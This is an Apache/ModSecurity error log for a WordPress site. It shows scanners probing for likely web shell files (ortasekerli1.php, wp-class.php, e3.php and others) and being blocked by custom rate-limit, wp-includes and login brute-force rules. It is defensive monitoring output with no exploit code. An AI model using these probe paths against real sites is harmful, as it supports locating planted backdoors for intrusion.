[Tue Apr 14 00:55:49.477119 2026] [:error] [pid 59915:tid 59975] [client 158.158.43.6:42412] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "ad0gFYeTNdEemByf99gfngAAAIQ"]
[Tue Apr 14 00:55:50.899002 2026] [:error] [pid 59915:tid 59988] [client 158.158.43.6:61392] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "ad0gFoeTNdEemByf99gfowAAAJE"]
[Tue Apr 14 00:55:52.000287 2026] [:error] [pid 59913:tid 59941] [client 158.158.43.6:42392] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "ad0gF65XvQ9C-gZtr2yapAAAABg"]
[Tue Apr 14 00:55:56.724848 2026] [:error] [pid 59913:tid 59940] [client 158.158.43.6:60673] [client 158.158.43.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wincust.php"] [unique_id "ad0gHK5XvQ9C-gZtr2yaqAAAABc"]
[Tue Apr 14 00:56:13.872410 2026] [:error] [pid 59915:tid 59993] [client 158.158.43.6:60693] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e3.php"] [unique_id "ad0gLYeTNdEemByf99gf3gAAAJY"]
[Tue Apr 14 00:56:15.146272 2026] [:error] [pid 60317:tid 60351] [client 158.158.43.6:60665] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e3.php"] [unique_id "ad0gL7Bo7Bc8I7P_P-9uIAAAAMs"]
[Tue Apr 14 00:56:16.064465 2026] [:error] [pid 60317:tid 60361] [client 158.158.43.6:42368] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e3.php"] [unique_id "ad0gMLBo7Bc8I7P_P-9uJQAAANU"]
[Tue Apr 14 00:56:17.168994 2026] [:error] [pid 59914:tid 59957] [client 158.158.43.6:60680] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e3.php"] [unique_id "ad0gMeq0YMmB3OWbbUk5PgAAAE0"]
[Tue Apr 14 00:56:18.586295 2026] [:error] [pid 60317:tid 60362] [client 158.158.43.6:62049] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "ad0gMrBo7Bc8I7P_P-9uMAAAANY"]
[Tue Apr 14 00:56:20.082006 2026] [:error] [pid 60317:tid 60346] [client 158.158.43.6:61495] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "ad0gNLBo7Bc8I7P_P-9uNAAAAMY"]
[Tue Apr 14 00:56:21.104514 2026] [:error] [pid 59913:tid 59924] [client 158.158.43.6:62076] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "ad0gNa5XvQ9C-gZtr2yatwAAAAc"]
[Tue Apr 14 00:56:22.651253 2026] [:error] [pid 59915:tid 59987] [client 158.158.43.6:61384] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "ad0gNoeTNdEemByf99gf5wAAAJA"]
[Tue Apr 14 00:56:23.655777 2026] [:error] [pid 59914:tid 59951] [client 158.158.43.6:42429] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "ad0gN-q0YMmB3OWbbUk5QgAAAEc"]
[Tue Apr 14 00:56:24.647987 2026] [:error] [pid 59913:tid 59925] [client 158.158.43.6:42398] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "ad0gOK5XvQ9C-gZtr2yawAAAAAg"]
[Tue Apr 14 00:56:27.943436 2026] [:error] [pid 59914:tid 59962] [client 158.158.43.6:62085] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "ad0gO-q0YMmB3OWbbUk5TQAAAFI"]
[Tue Apr 14 00:56:29.306425 2026] [:error] [pid 59915:tid 59975] [client 158.158.43.6:62628] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "ad0gPYeTNdEemByf99ggAgAAAIQ"]
[Tue Apr 14 00:56:30.489990 2026] [:error] [pid 60317:tid 60343] [client 158.158.43.6:61485] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "ad0gPrBo7Bc8I7P_P-9uUQAAAMM"]
[Tue Apr 14 00:56:31.225129 2026] [:error] [pid 59913:tid 59929] [client 158.158.43.6:62583] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "ad0gP65XvQ9C-gZtr2yayQAAAAw"]
[Tue Apr 14 00:56:33.897582 2026] [:error] [pid 59915:tid 59981] [client 158.158.43.6:50612] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "ad0gQYeTNdEemByf99ggHwAAAIo"]
[Tue Apr 14 00:56:34.918277 2026] [:error] [pid 60317:tid 60357] [client 158.158.43.6:42420] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "ad0gQrBo7Bc8I7P_P-9uXgAAANE"]
[Tue Apr 14 00:56:41.366823 2026] [:error] [pid 59913:tid 59921] [client 158.158.43.6:48842] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "ad0gSa5XvQ9C-gZtr2ya3AAAAAQ"]
[Tue Apr 14 00:56:42.621466 2026] [:error] [pid 59913:tid 59933] [client 158.158.43.6:46547] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "ad0gSq5XvQ9C-gZtr2ya3wAAABA"]
[Tue Apr 14 00:56:43.937065 2026] [:error] [pid 59915:tid 59992] [client 158.158.43.6:47182] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "ad0gS4eTNdEemByf99ggTwAAAJU"]
[Tue Apr 14 00:56:44.559772 2026] [:error] [pid 60317:tid 60356] [client 158.158.43.6:45786] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "ad0gTLBo7Bc8I7P_P-9uewAAANA"]
[Tue Apr 14 00:56:45.173995 2026] [:error] [pid 59915:tid 59982] [client 158.158.43.6:47792] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "ad0gTYeTNdEemByf99ggVgAAAIs"]
[Tue Apr 14 00:56:46.854695 2026] [:error] [pid 59915:tid 59971] [client 158.158.43.6:46504] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "ad0gToeTNdEemByf99ggYAAAAIA"]
[Tue Apr 14 00:56:47.557730 2026] [:error] [pid 59915:tid 59979] [client 158.158.43.6:47230] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "ad0gT4eTNdEemByf99ggaAAAAIg"]
[Tue Apr 14 00:56:48.938829 2026] [:error] [pid 59914:tid 59958] [client 158.158.43.6:47788] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "ad0gUOq0YMmB3OWbbUk5cQAAAE4"]
[Tue Apr 14 00:56:50.062066 2026] [:error] [pid 60317:tid 60357] [client 158.158.43.6:45734] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "ad0gUrBo7Bc8I7P_P-9uiAAAANE"]
[Tue Apr 14 00:56:51.867605 2026] [:error] [pid 60317:tid 60356] [client 158.158.43.6:63346] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "ad0gU7Bo7Bc8I7P_P-9ulQAAANA"]
[Tue Apr 14 00:56:53.104638 2026] [:error] [pid 60317:tid 60342] [client 158.158.43.6:41752] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "ad0gVbBo7Bc8I7P_P-9uoQAAAMI"]
[Tue Apr 14 00:56:54.576861 2026] [:error] [pid 59914:tid 59966] [client 158.158.43.6:63412] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "ad0gVuq0YMmB3OWbbUk5ewAAAFY"]
[Tue Apr 14 00:56:56.854298 2026] [:error] [pid 60317:tid 60357] [client 158.158.43.6:44550] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "ad0gWLBo7Bc8I7P_P-9uuQAAANE"]
[Tue Apr 14 00:56:58.109366 2026] [:error] [pid 60317:tid 60351] [client 158.158.43.6:40845] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "ad0gWrBo7Bc8I7P_P-9uvQAAAMs"]
[Tue Apr 14 00:56:59.599904 2026] [:error] [pid 59915:tid 59975] [client 158.158.43.6:43360] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "ad0gW4eTNdEemByf99ggigAAAIQ"]
[Tue Apr 14 00:57:01.323383 2026] [:error] [pid 59913:tid 59936] [client 158.158.43.6:43328] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "ad0gXa5XvQ9C-gZtr2ybAAAAABM"]
[Tue Apr 14 00:57:05.903131 2026] [:error] [pid 59913:tid 59931] [client 158.158.43.6:40956] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/curl.php"] [unique_id "ad0gYa5XvQ9C-gZtr2ybCwAAAA4"]
[Tue Apr 14 01:13:14.699873 2026] [autoindex:error] [pid 59915:tid 59992] [client 212.47.77.99:60122] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Apr 14 01:37:32.358333 2026] [:error] [pid 59915:tid 59971] [client 147.50.231.51:47564] [client 147.50.231.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.50.231.51, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad0p3IeTNdEemByf99g4kQAAAIA"]
[Tue Apr 14 02:31:09.691403 2026] [:error] [pid 59914:tid 59964] [client 20.212.200.71:15217] [client 20.212.200.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "ad02beq0YMmB3OWbbUlf9wAAAFQ"]
[Tue Apr 14 02:31:10.058212 2026] [:error] [pid 60317:tid 60357] [client 20.212.200.71:15196] [client 20.212.200.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "ad02brBo7Bc8I7P_P--41wAAANE"]
[Tue Apr 14 02:31:10.445415 2026] [:error] [pid 59915:tid 59972] [client 20.212.200.71:15194] [client 20.212.200.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "ad02boeTNdEemByf99hT7wAAAIE"]
[Tue Apr 14 02:31:10.837473 2026] [:error] [pid 59913:tid 59923] [client 20.212.200.71:15610] [client 20.212.200.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "ad02bq5XvQ9C-gZtr2y6GAAAAAY"]
[Tue Apr 14 02:34:25.556953 2026] [:error] [pid 60317:tid 60350] [client 20.220.194.201:23241] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "ad03MbBo7Bc8I7P_P--7ggAAAMo"]
[Tue Apr 14 02:34:26.495250 2026] [:error] [pid 60317:tid 60348] [client 20.220.194.201:35348] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "ad03MrBo7Bc8I7P_P--7iAAAAMg"]
[Tue Apr 14 02:34:27.294414 2026] [:error] [pid 59914:tid 59959] [client 20.220.194.201:27376] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "ad03M-q0YMmB3OWbbUlhUAAAAE8"]
[Tue Apr 14 02:34:28.136863 2026] [:error] [pid 59914:tid 59961] [client 20.220.194.201:21737] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "ad03NOq0YMmB3OWbbUlhUgAAAFE"]
[Tue Apr 14 02:34:29.089252 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:3314] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "ad03NbBo7Bc8I7P_P--7jAAAANU"]
[Tue Apr 14 02:34:30.830344 2026] [:error] [pid 60317:tid 60345] [client 20.220.194.201:3322] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "ad03NrBo7Bc8I7P_P--7kQAAAMU"]
[Tue Apr 14 02:34:32.195770 2026] [:error] [pid 59914:tid 59946] [client 20.220.194.201:33927] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "ad03OOq0YMmB3OWbbUlhYAAAAEI"]
[Tue Apr 14 02:34:33.806018 2026] [:error] [pid 59914:tid 59949] [client 20.220.194.201:4025] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "ad03Oeq0YMmB3OWbbUlhZAAAAEU"]
[Tue Apr 14 02:34:34.702917 2026] [:error] [pid 60317:tid 60344] [client 20.220.194.201:28034] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "ad03OrBo7Bc8I7P_P--7mgAAAMQ"]
[Tue Apr 14 02:34:35.729171 2026] [:error] [pid 59913:tid 59925] [client 20.220.194.201:22475] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "ad03O65XvQ9C-gZtr2y7fwAAAAg"]
[Tue Apr 14 02:34:37.234591 2026] [:error] [pid 59913:tid 59932] [client 20.220.194.201:31741] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "ad03Pa5XvQ9C-gZtr2y7gQAAAA8"]
[Tue Apr 14 02:34:38.090284 2026] [:error] [pid 60317:tid 60353] [client 20.220.194.201:16524] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "ad03PrBo7Bc8I7P_P--7pAAAAM0"]
[Tue Apr 14 02:34:38.771551 2026] [:error] [pid 59915:tid 59995] [client 20.220.194.201:28800] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "ad03PoeTNdEemByf99hVngAAAJg"]
[Tue Apr 14 02:34:39.520820 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:36484] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "ad03P4eTNdEemByf99hVoAAAAIU"]
